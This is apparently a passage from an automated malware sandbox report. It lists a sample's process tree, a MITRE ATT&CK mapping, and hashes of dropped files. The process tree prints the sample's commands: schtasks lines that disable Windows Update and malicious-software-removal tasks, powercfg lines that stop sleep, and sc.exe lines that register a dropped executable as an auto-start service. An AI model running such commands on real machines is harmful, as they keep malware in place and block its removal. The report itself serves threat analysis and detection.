    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:4332
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:3120
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:3740
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:3344
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4768
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:4876
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:4792
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" delete "RasConnectionManager_9d4d"
    3⤵
    - Launches sc.exe
    PID:1888
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create "RasConnectionManager_9d4d" binpath= "C:\ProgramDataMicrosoftWindowsSchCache\NetworkListService22e8.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:1632
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2768

C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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LockAppHost14a02b.exe

Path C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
Size 5.0MB
SHA256 eed6fe7c2b6252644f6617c45721dca2b412cdec28a4f3687fc753f099add67b
MD5 41df7b4d070dfe299a8355901945b5e9
SHA1 524a1213ad2bd6b893f4b9fb703f7d97bc253a89
SHA512 a3cdeaaf5a7e3216346e9b764d9835a809b4dc44db9885c1435d2c2535bf9c6e598bde15d95948f7ad4e2f9ffc75b2e8ed50dd8f0d97f072a51acba6f10c0d98
SSDEEP 98304:ZCOzagG+/PmVVbGy3hOO3xEBS47yvwUmEEz3E5SPuXBoi:UOmgEqy3h1xEBSZvw7E4E5zRZ
TLSH
T1463633A17DC690B2C04AC7B4A597757EB07A7BF149A07C1E39CD3E154E2BE08153E386
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_5lccci5y.hnp.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_5lccci5y.hnp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c5d3b1b166bd89639fb4caa37de6a3a48bcafe0a5cbff2bde11e116fcfe9dd5e
MD5 630e7eb31bab69b7d2efefcbdc9844d8
SHA1 db84a211dd3d6b24eb0a36415a3332a86f5d616b
SHA512 03bab931c428ffc9443c0c2ed8b2d9935e2743aaf6b387cd62e129d136b77f67121b7ff8cfc17b1fe5b626fac2963adbb3b77c2a54bdde0ad7668bfedc94282b
TLSH
T1C9218627B3DC8A21CC86123A109D9C10766683C7819ECF9F6BC0D614A0BF989CB21290
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memory/1768-1-0x0000000140000000-0x00000001408EA000-memory.dmp

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memory/1768-2-0x00007FFE69650000-0x00007FFE69652000-memory.dmp

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memory/1768-11-0x0000000140239000-0x00000001403EA000-memory.dmp

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memory/1768-0-0x0000000140239000-0x00000001403EA000-memory.dmp

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memory/2768-98-0x0000000140000000-0x000000014080D000-memory.dmp

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memory/3608-21-0x0000000140000000-0x0000000140231000-memory.dmp

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memory/3724-27-0x0000000140000000-0x00000001408EA000-memory.dmp

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memory/3724-16-0x0000000140000000-0x00000001408EA000-memory.dmp

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